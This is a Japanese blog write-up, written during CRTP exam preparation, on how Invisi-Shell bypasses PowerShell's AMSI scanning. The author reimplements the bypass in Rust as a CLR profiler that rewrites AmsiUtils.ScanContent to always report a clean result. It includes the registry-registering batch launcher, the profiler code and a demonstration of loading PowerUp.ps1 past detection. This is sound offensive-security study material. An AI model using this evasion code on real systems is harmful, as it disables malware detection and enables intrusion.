Invisi-Shellを理解する

ToC

はじめに

CRTPで説明されたInvisi-Shell

CRTPというADに対する攻撃に主眼を置いた資格試験のラボをやっていた

この試験では基本的なWindowsの侵入検知機構が有効になっておりそれらをバイパスした上で目的を達成する必要がある

Certified Red Team Professional (CRTP)

読む資料や取り組むラボの順番を間違えたかもしれんが、唐突に「AMSIに検知されるから最初にこのツール実行しろ」と説明されていて無事スクリプトキディに

OmerYa/Invisi-Shell: Hide your Powershell script in plain sight. Bypass all Powershell security features

(ちなみにこのツールにはAMSI以外の検知処理を無効化する仕組みも入っているが今回はAMSIにフォーカスした)

Invisi-Shellの仕組みに対する興味

AMSIバイパスの手法には一番有名なものとしてAmsiScanBuffer関数の先頭アドレスを取得してVirtualProtectmemcpyを使用してでパッチを当てるというバイパス手法があるが、Invisi-Shellのコードを見た感じ少し異なる手法を取っていたので見てみた

免責事項

本記事は純粋に教育・研究目的で作成されています。ここで解説する技術や手法は、情報セキュリティ専門家やIT管理者がシステムの脆弱性を理解し、適切な防御策を講じるための知識提供を目的としています。
以下の点にご注意ください:

  1. 本記事で紹介する手法を許可なく第三者のシステムに対して実行することは、法律違反となる可能性があり、民事・刑事上の責任が生じる場合があります
  2. すべての実験や検証は、自己所有または正式に許可を得た環境でのみ行ってください
  3. 本記事の情報を悪用して不正アクセスや情報漏洩などの違法行為を行った場合、その責任は行為者自身が負うものとし、著者および掲載媒体は一切の責任を負いません
  4. 本記事は最新の情報提供に努めていますが、セキュリティ技術は日々進化しているため、実際の適用にあたっては最新の情報を確認することをお勧めします

本記事の目的は、サイバーセキュリティへの理解を深め、より安全なデジタル環境の構築に貢献することにあります。知識は適切に活用されることを前提に共有されています。

1. Invisi-Shellとは

概要と背景

Invisi-Shellの使い方はdllとbatを配置した後、batを実行するだけだが、bat内では環境変数設定、レジストリ書き込みだけしてpowershell起動しているだけだった

付属のDLLへのパスがレジストリに書き込まれていたので恐らくDLLがバイパス処理の実体だろう

RunWithRegistryNonAdmin.bat

set COR_ENABLE_PROFILING=1
set COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}

REG ADD "HKCU\Software\Classes\CLSID\{cf0d821e-299b-5307-a3d8-b283c03916db}" /f
REG ADD "HKCU\Software\Classes\CLSID\{cf0d821e-299b-5307-a3d8-b283c03916db}\InprocServer32" /f
REG ADD "HKCU\Software\Classes\CLSID\{cf0d821e-299b-5307-a3d8-b283c03916db}\InprocServer32" /ve /t REG_SZ /d "%~dp0InvisiShellProfiler.dll" /f

powershell

set COR_ENABLE_PROFILING=
set COR_PROFILER=
REG DELETE "HKCU\Software\Classes\CLSID\{cf0d821e-299b-5307-a3d8-b283c03916db}" /f

後でDLLも見ていくがとりあえず環境変数COR_ENABLE_PROFILINGCOR_PROFILERが気になったので調べると、「プロファイルAPI」という機能が.NET Framework環境に存在することを知った

プロファイル (アンマネージ API リファレンス) - .NET Framework | Microsoft Learn

使用されているセキュリティバイパスの手法

プロファイルAPIは割と古い技術で、調べるといろいろな方が実装されていた

うらぶろぐ @urasandesu: 10月 2011

Windowsで、実行ファイルを書き換えずに既存の.Netアプリケーションの関数を置き換える話 - math314のブログ

上記のブログに書かれているが、プロファイルAPIを使用するとCLRによってJITコンパイルされる前のILコードを書き変え、関数の処理を変更することができるらしい

Invisi-Shellはこの手法を用いて検知等に使用されている関数の処理を書き変えていることが分かった

2. 技術的基盤:CLRプロファイラAPI

CLRプロファイルAPIの役割と機能

プロファイルAPIは本来.NET実行環境の内部動作を監視・分析・操作するためのインターフェースであり、アプリケーションの性能分析やデバッグなどに使用することを目的として開発されたようである

プロファイル (アンマネージ API リファレンス) - .NET Framework | Microsoft Learn

プロファイルAPIのアーキテクチャは、主に以下の要素で構成されている

Pasted image 20250410131159

引用元: https://learn.microsoft.com/ja-jp/dotnet/framework/unmanaged-api/profiling/media/profiling-overview/profiling-architecture.png

今回の関心対象はプロファイラなのでその実装と機能を中心に詳しく見ていく

プロファイラの初期化と登録

まずCLRはプログラム実行時に特定の環境変数が設定されている場合、それらの値とレジストリの情報を基にプロファイラを読み込む

(一般的にプロファイラはDLLの形式で提供されている)

環境変数の値

COR_ENABLE_PROFILING=1
COR_PROFILER={プロファイラのCLSID}

レジストリエントリ

HKCU\Software\Classes\CLSID\{プロファイラのCLSID}
HKCU\Software\Classes\CLSID\{プロファイラのCLSID}\InprocServer32 // プロファイラDLLへのパス

Invisi-ShellのRunWithRegistryNonAdmin.batではレジストリにCLSIDInProcServer32への書き込みがあるが、これはプロファイラDLL内にCOMオブジェクトが定義されていることを示している

また、このCOMオブジェクトにはプロファイラとして動作するためのインターフェースICorProfilerCallbackが実装されている必要がある

ICorProfilerCallback Interface - .NET Framework | Microsoft Learn

このインターフェースを実装していることにより、CLRがプロファイラDLLを読み込んだ後、ICorProfilerCallback経由で実行時の情報がやり取りできる

実行時ILコード書き換えのメカニズム

.NETアプリケーションの実行時、JITコンパイラによってILコードがネイティブコードに変換される

ICorProfilerCallbackインターフェースにはこの変換プロセスにおいてフックするポイントが複数用意されている

ILの書き換えにおいて重要なのはICorProfilerCallback::JITCompilationStarted関数である

HRESULT JITCompilationStarted( [in] FunctionID functionId, [in] BOOL fIsSafeToBlock);

ICorProfilerCallback::JITCompilationStarted Method - .NET Framework | Microsoft Learn

このコールバックは関数がJITコンパイルされる前にその関数のfunctionIdを引数として呼び出されるため、この関数を実装することでJITコンパイル前にILコードを書き変えることができる(詳細な実装は後述)

3. 再実装に必要な技術要素

ここまででプロファイラとしてCLRに読み込ませるためには以下が必要であることが分かった

  1. DLLとしての実装(多分EXEでもいい?)
  2. COMオブジェクトの実装
  3. 2で実装したCOMオブジェクトへのICorProfilerCallbackインターフェースの実装
  4. ICorProfilerCallback::JITCompilationStarted内での対象ILの書き換え

DLLの基礎知識

まず最小のDLLを実装できる必要がある

ダイナミック リンク ライブラリ (DLL) - Windows Client | Microsoft Learn

C++での実装例は以下の通りでこのシグネチャに則ったDllMain関数をエクスポートすればプロセスやスレッドがDLLにアタッチ、デタッチした際に呼び出される処理を記述できる

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACHED: // A process is loading the DLL.
        break;
        case DLL_THREAD_ATTACHED: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

ただ、今回はDLLとしてアタッチ、デタッチされる際の処理は不要なので省略しても問題ない

COMオブジェクトとして動作させるために後述する関数をエクスポートする

また、上記の例はC++実装なのでRust実装に変換する必要がある

COMインターフェイスの理解

以下の公式説明を読んでもなんだかピンとこないがClaudeが要約するに
COM(Component Object Model)はMicrosoftが開発したバイナリインターフェース規格で、異なるプログラミング言語で書かれたソフトウェアコンポーネント間の通信を可能にする技術らしい

COM の技術概要 - Win32 apps | Microsoft Learn

コンポーネント オブジェクト モデル (COM) - Win32 apps | Microsoft Learn

たしかにCLRとC++の連携を提供しているし、今回実装するプロファイラはRust製だがCLRやC++で書かれたCOMオブジェクトと通信が可能だ

COMには大別してインターフェースクラスオブジェクトという概念があるらしい

この辺は調べた感じプログラミング言語によくあるそれらとほぼ同じ概念だろう

COMインターフェース

COMインターフェースは一般的なインターフェースと同様にCOMクラスに対して実装する関数を定義する

システム内で名前が重複してもいいように各COMインターフェースにはIIDと呼ばれる128bitのGUIDを設定する必要があり、このIIDで識別される

COMインターフェースは継承が可能で、インターフェースAを継承したインターフェースBにはインターフェースAの関数を実装することが強制される

Interfaces (COM) - Win32 apps | Microsoft Learn

ただし、複数のインターフェースを継承することはできないっぽい

今回実装するICorProfilerCallbackにも現在ICorProfilerCallback9までが存在しており、おそらくICorProfilerCallback9ICorProfilerCallback8を継承し、ICorProfilerCallback8ICorProfilerCallback7を継承し…のように単一継承の制限があるのでこのように機能を拡張していってるのかな?

COMクラス

COMインターフェースを実装した実体

COMインターフェースを実装したCOMクラスはCOMインターフェースで定義されている関数の実装を全て提供する必要がある

COMクラスにはIIDと同様にCLSIDと呼ばれる128bitのGUIDを定義する必要がある

COMクラスを呼び出す側は主にこのCLSIDを用いて呼び出すクラスを識別している

「プロファイラの登録と初期化」の章でプロファイラのCLSIDをレジストリに登録する必要があると書いたが、このことからプロファイラはCOMクラスとして提供されていることがわかる

プロファイラを実装する場合、CLSIDからCOMクラスのインスタンスを作成するためにIClassFactoryを実装したCOMクラスを定義する必要がある

これはCLRがプロファイラを読み込もうとする際、CLRがCoGetClassObjectなどの方法を用いずにCOMオブジェクトを取得しようとすることに起因すると思われる(以下にIClassFactoryを実装する必要がある場合について記載有)

COM クラス オブジェクトと CLSID - Win32 apps | Microsoft Learn

COMオブジェクト

COMクラスの定義から実行時にメモリ上に作成されたオブジェクト

一般的なオブジェクト指向プログラミング言語に合わせるならインスタンスとも言える

COMクラスオブジェクト

こいつが一番ややこしい(主に名前が)

クラスオブジェクトはその他のCOMオブジェクトのインスタンスを作成する役割を持つ。クラスオブジェクトはこの役割をIClassFactoryインターフェースを実装することで提供する。

COMクライアントがCoCreateInstance関数などでCOMクラスを初期化しようとすると、そのCOMクラスが直接初期化されずCOMクラスオブジェクトを経由して初期化されるらしい

IUnknownインターフェース

全てのCOMインターフェースが継承しているインターフェース

以下の三つの関数を定義しておりQueryInterfaceによって他のインターフェースのポインタを取得し、その実装を使用することができる

HRESULT QueryInterface(REFIID riid, void **ppvObject);
ULONG AddRef(); 
ULONG Release();

その他の関数は自身の参照を管理するカウンタのようなもの

後述のwindows-rsを使えばこの辺はクレート側で管理してくれるっぽい


再実装に必要な情報はあらかた調べ終わったので今度はRustで実装するにはどうするか調べながら実装していく

ICorProfilerCallbackの詳しい実装も実装しながら見ていく

4. Rustでの実装への道

まずRustでDLLやWindows APIを使用するためにMicrosoft公式のwindows-rsクレートを使用することにした

以前にAMSI Providerを作成した際にも同クレートを使用したため、ある程度使用方法は分かっている(つもり)

windows - Rust

プロジェクトの準備

windows-rsクレートのドキュメントに沿って実装していく

Creating your first DLL in Rust - Kenny Kerr

重要なの要素は以下

cargo generateを使ってDllMainを持つ初期コードを生成しても良い

cargo install cargo-generate

cargo generate --git https://github.com/r1k0t3k1/rust-windows-template.git

実装詳細

プロファイラ初期化の順で見ると以下の実装が必要

プロファイラとしての処理の流れを図示するとこんな感じ

image

DLLとしての実装

以下に則った関数を実装すればOK

関数実装例

#[no_mangle]
extern "system" fn Hello() -> HRESULT {
	E_NOTIMPL
}

ここまででビルドすれば指定した関数がエクスポートされたDLLが生成できる

image

DllGetClassObjectの実装

CLRがDLLをロードした際に最初に呼ばれるエクスポート関数

Rustにおける関数シグネチャは以下の通り

#[no_mangle]
extern "system" fn DllGetClassObject(
    rclsid: *const GUID,
    riid: *const GUID,
    ppv: *mut c_void,
) -> HRESULT

現時点では返すCOMオブジェクトが実装できていないのでE_NOTIMPLを返すように実装しておく

#[no_mangle]
extern "system" fn DllGetClassObject(
    rclsid: *const GUID,
    riid: *const GUID,
    ppv: *mut c_void,
) -> HRESULT {    
	E_NOTIMPL
}

IClassFactoryの実装

CLRから呼び出されたDllGetClassObject関数の第一引数rclsidはレジストリに登録したプロファイラのCLSIDになる

そして、riidにはICorProfilerCallbackのIIDではなく、IClassFactoryのIIDが指定される

DllGetClassObjectが呼び出された際のrclsidおよびriid
image

なぜ直接ICorPrfilerCallbackのインターフェースが要求されないのかが疑問だがこれがCOMにおけるインスタンス作成のお作法らしい。

IClassFactory の実装 - Win32 apps
IClassFactory の実装
IClassFactory の実装 - Win32 apps favicon https://learn.microsoft.com/ja-jp/windows/win32/com/implementing-iclassfactory
IClassFactory の実装 - Win32 apps

windows-rsクレートを使用した実装は以下のようになる

Structを定義し、implementマクロに実装したいインターフェースを指定し、実装を書くだけだったので楽だった

プロファイラの実装が終わったら、CreateInstance関数でプロファイラのインスタンスを返すようにする

#[implement(IClassFactory)]
pub struct AchtungBabyClassFactory {}

impl IClassFactory_Impl for AchtungBabyClassFactory_Impl {
    fn CreateInstance(
        &self,
        punkouter: Ref<'_, IUnknown>,
        riid: *const GUID,
        ppvobject: *mut *mut c_void,
    ) -> windows_core::Result<()> {
        // [snip]
    }

    fn LockServer(&self, _flock: windows_core::BOOL) -> windows_core::Result<()> {
        Ok(())
    }
}

ICorProfilerCallbackの実装

IClassFactoryの実装と同様の方法が使える

ICorProfilerCallbackの場合は実装しなければいけないインターフェースが少し多くなる

が、大半の関数はIDEの自動実装機能で導出できるし、使わない関数なら中身は空実装(Ok(())を返すだけなど)で良い

#[implement(
    ICorProfilerCallback5,
    ICorProfilerCallback4,
    ICorProfilerCallback3,
    ICorProfilerCallback2,
    ICorProfilerCallback
)]
pub struct AchtungBabyProfiler {
    profiler_info: OnceLock<ICorProfilerInfo3>,
}

impl ICorProfilerCallback_Impl for AchtungBabyProfiler_Impl {
    fn Initialize(
        &self,
        picorprofilerinfounk: windows_core::Ref<'_, windows_core::IUnknown>,
    ) -> windows_core::Result<()> {
        // [snip]
    }

// 同様に70関数程度を自動実装

ハマりポイント!

初期化処理やJITコンパイル時のコールバックはICorProfilerCallbackに定義されているため、このインターフェースのみを実装したCOMクラスを定義してCLRから読み込ませてみたが、正しく読み込まれないようで初期化処理などが実行されなかった。

Windowsのイベントログを漁ってみると以下のようなメッセージが。

image

どうやらICorProfilerCallbackのみを実装したCOMクラスは.NET Framework4の環境では「古いCLR向けのプロファイラ」として認識されるようで読み込みが中止されている様子

.NET Framework4から使用可能になったICorProfilerCallback3インターフェースも実装するとうまく読み込まれた

ICorProfilerCallback3 インターフェイス - .NET Framework
詳細情報: ICorProfilerCallback3 インターフェイス
ICorProfilerCallback3 インターフェイス - .NET Framework favicon https://learn.microsoft.com/ja-jp/dotnet/framework/unmanaged-api/profiling/icorprofilercallback3-interface
ICorProfilerCallback3 インターフェイス - .NET Framework

中身の実装が必要な関数は以下

ICorProfilerCallback::Initializeの実装

CLRがプロファイラを初期化する際に呼ばれる関数

ICorProfilerCallback::Initialize メソッド - .NET Framework
詳細情報: ICorProfilerCallback::Initialize メソッド
ICorProfilerCallback::Initialize メソッド - .NET Framework favicon https://learn.microsoft.com/ja-jp/dotnet/framework/unmanaged-api/profiling/icorprofilercallback-initialize-method
ICorProfilerCallback::Initialize メソッド - .NET Framework

第一引数にはICorProfilerInfoインターフェースに変換可能なIUnknownインターフェースへのポインタが設定される

Initialize関数内ではCLRが発生させるプロファイラに関するイベント通知において、どのイベント通知を受け取るかを設定する必要がある

それができるのはICorProfilerInfo::SetEventMask関数のみであり、ICorProfilerInfoが取得できるタイミングはこのInitialize関数の呼び出し時のみ

コールバック関数においてもICorProfilerInfoは使用するのでCOMクラスの構造体に格納するなどして保持しておく

※ちなみにwindows-rsIUnknowncast関数で安全にインターフェースを変換することができる
内部的にはQueryInterface関数を呼んでいるはずなのでただのラッパーかと

profiler_info.cast::<ICorProfilerInfo3>()?

取得したICorProfilerInfoインタフェースからSetEventMaskを実行する

引数には購読したい通知をビットマスクで指定する

一番重要なのはCOR_PRF_MONITOR_JIT_COMPILATIONである
このイベントを購読するとJITコンパイルの開始通知を受け取ることができる

unsafe {
    self.get_profiler_info().unwrap().SetEventMask(
        COR_PRF_MONITOR_ASSEMBLY_LOADS.0 as u32 |  // アセンブリの読み込み通知を購読
        COR_PRF_MONITOR_JIT_COMPILATION.0 as u32 | // JITコンパイルの開始通知を購読
        COR_PRF_USE_PROFILE_IMAGES.0 as u32,       // NGENにより予めJITコンパイルされたライブラリにおいてもJITコンパイルさせる
    )?
};
ハマりポイント!

COR_PRF_USE_PROFILE_IMAGESはNGENによりJITコンパイル結果がキャッシュされているイメージにおいてもJITコンパイルさせるようにする

Ngen.exe (ネイティブ イメージ ジェネレーター) - .NET Framework
Ngen.exe (ネイティブ イメージ ジェネレーター) を確認します。 ネイティブ イメージを作成してローカルのネイティブ イメージ キャッシュにインストールすることで、マネージド アプリケーションのパフォーマンスを向上させます。
Ngen.exe (ネイティブ イメージ ジェネレーター) - .NET Framework favicon https://learn.microsoft.com/ja-jp/dotnet/framework/tools/ngen-exe-native-image-generator
Ngen.exe (ネイティブ イメージ ジェネレーター) - .NET Framework

今回フックしたいScanContentはSMA.dllに定義されているがこれはNGENにより事前コンパイル結果がキャッシュされてしまっているため、このビットマスクを指定しないとJITコンパイルイベント通知が発生しない

image

ICorProfilerCallback::JITCompilationStartedの実装

SetEventMask関数で正しく購読設定ができている場合は関数のJITコンパイル時にJITCompilationStarted関数が呼ばれる
このときfunctionIdはコンパイル対象の関数の値が設定されるのでこの値を元にILの書き換えを行っていく

HRESULT JITCompilationStarted(
    [in] FunctionID functionId,
    [in] BOOL       fIsSafeToBlock);

IL書き換えの詳細については後述

大まかな流れは以下の通り

  1. functionIdを引数にICorProfilerInfo::GetFunctionInfoを呼び出し、moduleIdと関数のメタデータトークンへのポインタpTokenを取得
  2. 1で得たmoduleIdpTokenを引数としてGetILFunctionBody関数を呼び出し、関数の先頭アドレスとサイズを取得
  3. 2で得た関数のヘッダ部分をコピーするか、新規に定義してコピー先関数用の関数ヘッダを作成する
  4. 関数ヘッダと自身で定義したIL(関数本体)を連結し、SetILFunctionBody関数でfunctionIdの関数のポインタを上書きする

ICorProfilerCallback::JITCompilationFinishedの実装

この関数ではJITコンパイル結果を確認するだけ

functionidでJITコンパイル済みの関数IDが渡ってくる

fn JITCompilationFinished(
    &self,
    functionid: usize,
    _hrstatus: windows_core::HRESULT,
    _fissafetoblock: windows_core::BOOL,
) -> windows_core::Result<()> {
    // [snip]
}

渡ってきたfunctionidを引数としてICorProfilerInfo::GetCodeInfo2を呼び出すことでネイティブコードの配置アドレスが取得できる

ICorProfilerInfo2::GetCodeInfo2 メソッド - .NET Framework
詳細情報: ICorProfilerInfo2::GetCodeInfo2 メソッド
ICorProfilerInfo2::GetCodeInfo2 メソッド - .NET Framework favicon https://learn.microsoft.com/ja-jp/dotnet/framework/unmanaged-api/profiling/icorprofilerinfo2-getcodeinfo2-method
ICorProfilerInfo2::GetCodeInfo2 メソッド - .NET Framework

関数の先頭アドレスから取得したバイナリを適当なディスアセンブラに通すとネイティブコードが再現できる

image

IL Rewriting

IL書き換え対象の関数

今回はSystem.Management.Automation.dllに定義されているAmsiUtils.ScanContent関数をIL書き換えの対象にする

この関数は内部でamsi.dllAmsiScanBuffer関数を呼び出しており、ScanContent関数をバイパスするとAmsiScanBuffer関数の呼び出しをスキップでき、結果としてAMSIの検証をパスすることができる

以下の関数リファレンスを辿った図からもScanContent関数がScriptBlock.Compile関数などから間接的に呼び出されていることがわかる

image

おそらくPowerShellコンソールから入力したスクリプトはすべてこのCompile関数を経由してScanContent関数に渡ると思われる

ScanContent関数のシグネチャは以下の通りで戻り値のAMSI_RESULTがAMSIスキャンの結果を表していると思われる

image

AMSI_RESULTの定義はSystem.Management.Automation.AmsiUtils.AmsiNativeMethodsの中にある

これを見るにu32の0がAMSI_CLEANなのでScanContent関数が固定で0を返すようにILを書き換えれば良さそうなことがわかった

image

IL書き換えの詳細実装

ICorProfilerCallback::JITCompilationStartedの詳細実装を説明する

  1. functionIdを引数にICorProfilerInfo::GetFunctionInfoを呼び出し、moduleIdと関数のメタデータトークンへのポインタpTokenを取得
  2. 1で得たmoduleIdpTokenを引数としてGetILFunctionBody関数を呼び出し、関数の先頭アドレスとサイズを取得
  3. 2で得た関数のヘッダ部分をコピーするか、新規に定義してコピー先関数用の関数ヘッダを作成する
  4. 関数ヘッダと自身で定義したIL(関数本体)を連結し、SetILFunctionBody関数でfunctionIdの関数のポインタを上書きする

1,2は特に難しい操作はないが、この処理の中でILを書き換える関数を識別する必要がある

詳細は省略するがfunctionIdを元にICorProfilerInfo::GetTokenAndMetaDataFromFunction関数やIMetaDataImport2::GetMethodProps関数、IMetaDataImport2::GetTypeDefProps関数を使用することで関数が定義されている名前空間や関数名が取得できるため、それを用いて目的の関数を識別する

3,4のIL書き換えにあたってはICorProfilerInfo::SetILFunctionBody関数を使用する

この関数を使用することで関数が指すILメソッドを変更することができ、結果として関数の処理を変更することができる

第一引数はICorProfilerInfo::GetFunctionInfo関数で取得したmoduleID、第二引数がわかりづらいがこれも上記関数の呼び出しで取得したpToken(関数のメタデータトークンへのポインタ)を設定する

第三引数には新しく用意したILメソッドへのポインタを設定する

HRESULT SetILFunctionBody(  
    [in] ModuleID    moduleId,  
    [in] mdMethodDef methodid,  
    [in] LPCBYTE     pbNewILMethodHeader);

では新しいILメソッドはどのようにして用意するか

前提として、ILメソッドはILメソッドヘッダとILメソッドボディから構成されており、これらを適切に設定する必要がある

これにあたって以下を試してみた

前者のRustでの実装例は以下

ILメソッド先頭アドレスからサイズ分のバイト列をIMAGE_COR_ILMETHODとして取得して複製しているだけ

unsafe {
    self.get_profiler_info().unwrap().GetILFunctionBody(
        pmoduleid, 
        ptoken, 
        &mut ppmethodheader, 
        &mut pcbmethodsize
    )?;
}

let il_bytes = unsafe { std::slice::from_raw_parts(ppmethodheader, pcbmethodsize as usize) };
let il_method = unsafe { *(il_bytes.as_ptr() as *const IMAGE_COR_ILMETHOD) };

let mut cloned_header = il_method.clone();
// cloned_headerとILメソッドボディを連結してSetILFunctionBodyを呼ぶ

難しかったのは後者の方で、ILメソッドヘッダの理解が必要

ILの仕様は以下の資料で定義されている

ECMA-335 - Ecma International
Common Language Infrastructure (CLI) - Defines the infrastructure in which applications written in multiple high-level languages can be executed
ECMA-335 - Ecma International favicon https://ecma-international.org/publications-and-standards/standards/ecma-335/

II.25.4.1にて、ILメソッドにはTinyFat、2つのフォーマットが存在することがわかる

それぞれILメソッドがどちらのフォーマットになるかの条件は以下の通り

今回定義するILメソッドボディはEAXに0を設定してリターンするのみ、といった単純な関数であり、Tinyフォーマットで十分である

Tinyフォーマットの場合、ヘッダ全体のサイズは1byteとなり、そのうち先頭2bitでTinyフォーマットを示す0x02、後続6bitでメソッドボディのサイズを示す

image

試しに以下のような関数をビルドしてみた

image

ビルドした結果生成されたILは以下のようになりTinyフォーマット(ヘッダが1byteのため)でコードサイズが4byteとなった

image

その場合Tinyヘッダの値は0b00010010=0x12となるはず

当該関数の実行ファイルにおけるファイルオフセットをHEXエディタ等で確認すると計算通り0x12となっていた

image

そのためRustでは以下のようなu8の数値を定義するだけでOK

// メソッドボディサイズのビットは定義するILメソッドボディによって変える
let tiny_header = 0b001010_u8;

続いてILメソッドボディの実装

ILはアセンブリのように一つ一つの命令からなるバイト列なので、下記を参照しながら目的に沿った処理を実行できるように命令列を組み合わせていく

OpCodes クラス (System.Reflection.Emit)
ILGenerator クラス メンバー (Emit(OpCode) など) による出力に対する MSIL (Microsoft Intermediate Language) 命令のフィールド表現を提供します。
OpCodes クラス (System.Reflection.Emit) favicon https://learn.microsoft.com/ja-jp/dotnet/api/system.reflection.emit.opcodes?view=net-9.0
OpCodes クラス (System.Reflection.Emit)

今回は単純に戻り値として0を返すだけのILメソッドを定義したいのでILオペコードは以下のようになる

0x16 // 評価スタックに0をPUSH
0x2a // ret

これを踏まえ、定義するILメソッド全体の定義は以下のようになる

let new_il: [u8; 3] = [
    0b00001010, // tiny method header and code size
    0x16,       // push 0 to stack top
    0x2a,       // ret
];

続いてILメソッドの書き換え

まずGetILFunctionBodyAllocatorを使用してメモリアロケータを取得する
アロケータで確保したメモリ領域に新しく定義したILメソッドを書き込む
SetILFunctionBodyを使用して書き込み先の先頭アドレスを関数が指すILメソッドとして上書きする

let method_alloc = unsafe {
    self.get_profiler_info()
        .unwrap()
        .GetILFunctionBodyAllocator(pmoduleid)?
};

let allocated = unsafe { method_alloc.Alloc(new_il.len() as u32) as *mut u8 };

unsafe { std::ptr::copy_nonoverlapping(new_il.as_ptr(), allocated, new_il.len()) };

unsafe {
    // ILの本体を差すポインタを上書きする
    let r = self
        .get_profiler_info()
        .unwrap()
        .SetILFunctionBody(pmoduleid, ptoken, allocated);
    if r.is_err() {
        println!("{:?}", r);
    }
};

ここまで定義ができたらビルドしてbatを呼び出すことでILコードから生成されるネイティブアセンブリが意図したように書き換えられていることがわかる

image

途中に挟まれているcall命令が気になるが調べてみたらCLRが挿入するGCに関する処理っぽい(現在のAppDomainを取得する処理をインラインで記述して高速化を図っている?)

このへんよくわかってない

image

JIT_GetSharedNonGCStaticBase_InlineGetAppDomainの定義

coreclr

全体の実装まとめ

  1. エクスポート関数DllGetClassObjectを実装し、IClassFactoryを返却する
  2. IClassFactoryを実装し、CreateInstance関数でプロファイラを返却する
  3. プロファイラにICorProfilerCallbackを実装する
  4. プロファイラにICorProfilerCallback::Initializeを実装し、購読したいイベントを設定する
  5. プロファイラにICorProfilerCallback::JITCompilationStartedを実装し、ILを書き換える
  6. プロファイラにICorProfilerCallback::JITCompilationFinishedを実装し、書き換えたILを確認する(オプション)

検証

image

上記の画像では最初に素のPowerShellからPowerUP.ps1を読み込ませようと試みたが、This script contains malicious content and ...と表示されスクリプトの読み込みがブロックされたことがわかる

一方で、プロファイラをアタッチしたPowerShell上ではPowerUP.ps1を読み込むことに成功していることがわかる

Get-UnquotedServiceGet-ModifiableServiceFileコマンドレットが利用できることも確認した

成果物

GitHub - r1k0t3k1/AchtungBaby
Contribute to r1k0t3k1/AchtungBaby development by creating an account on GitHub.
GitHub - r1k0t3k1/AchtungBaby favicon https://github.com/r1k0t3k1/AchtungBaby
GitHub - r1k0t3k1/AchtungBaby

参考

GitHub - OmerYa/Invisi-Shell: Hide your Powershell script in plain sight. Bypass all Powershell security features
Hide your Powershell script in plain sight. Bypass all Powershell security features - OmerYa/Invisi-Shell
GitHub - OmerYa/Invisi-Shell: Hide your Powershell script in plain sight. Bypass all Powershell security features favicon https://github.com/OmerYa/Invisi-Shell
GitHub - OmerYa/Invisi-Shell: Hide your Powershell script in plain sight. Bypass all Powershell security features
プロファイル (アンマネージ API リファレンス) - .NET Framework
詳細情報: プロファイリング (アンマネージド API リファレンス)
プロファイル (アンマネージ API リファレンス) - .NET Framework favicon https://learn.microsoft.com/ja-jp/dotnet/framework/unmanaged-api/profiling/
プロファイル (アンマネージ API リファレンス) - .NET Framework
うらぶろぐ @urasandesu
140文字以上はこちら。
うらぶろぐ @urasandesu favicon https://urasandesu.blogspot.com/2011/10/
Windowsで、実行ファイルを書き換えずに既存の.Netアプリケーションのメソッドを置き換える話 - math314のブログ
動機 昔、箱庭XSSという問題がSECCONで出題されました。 どのような問題だったかは他の方のブログを見て頂ければ分かるかと思います。 nash.hatenablog.com 問題作者のスライドはこちらです。 【XSS Bonsai】 受賞のご挨拶 by @ymzkei5 【SECCON 2014】 - Dec 08, 2014 このアプリケーションは.Net製で、 難読化 既存のdecompilerでは C#, VB.Netのコードに変換出来ない(大体落ちたり例外が発生する) デバッガでattachすると挙動が変わったり、答えが変わる バイナリを書き換えると、checksum一致処理に引っ…
Windowsで、実行ファイルを書き換えずに既存の.Netアプリケーションのメソッドを置き換える話 - math314のブログ favicon https://math314.hateblo.jp/entry/2017/01/22/005048
Windowsで、実行ファイルを書き換えずに既存の.Netアプリケーションのメソッドを置き換える話 - math314のブログ
ダイナミック リンク ライブラリ (DLL) - Windows Client
DLL が何であるかと、DLL を使用するときに発生するさまざまな問題について説明します。
ダイナミック リンク ライブラリ (DLL) - Windows Client favicon https://learn.microsoft.com/ja-jp/troubleshoot/windows-client/setup-upgrade-and-drivers/dynamic-link-library
ダイナミック リンク ライブラリ (DLL) - Windows Client
COM の技術概要 - Win32 apps
詳細については、以下をご覧ください: COM の技術概要
COM の技術概要 - Win32 apps favicon https://learn.microsoft.com/ja-jp/windows/win32/com/com-technical-overview
COM の技術概要 - Win32 apps
コンポーネント オブジェクト モデル (COM) - Win32 apps
コンポーネント オブジェクト モデルは、対話可能なバイナリ ソフトウェア コンポーネントを作成するための、プラットフォームに依存しない分散オブジェクト指向システムです。 COM は、Microsoft の OLE (複合ドキュメント) および ActiveX テクノロジの基盤テクノロジです。
コンポーネント オブジェクト モデル (COM) - Win32 apps favicon https://learn.microsoft.com/ja-jp/windows/win32/com/component-object-model--com--portal
コンポーネント オブジェクト モデル (COM) - Win32 apps
Creating your first DLL in Rust - Kenny Kerr
Creating your first DLL in Rust - Kenny Kerr favicon https://kennykerr.ca/rust-getting-started/creating-your-first-dll.html
Creating your first DLL in Rust - Kenny Kerr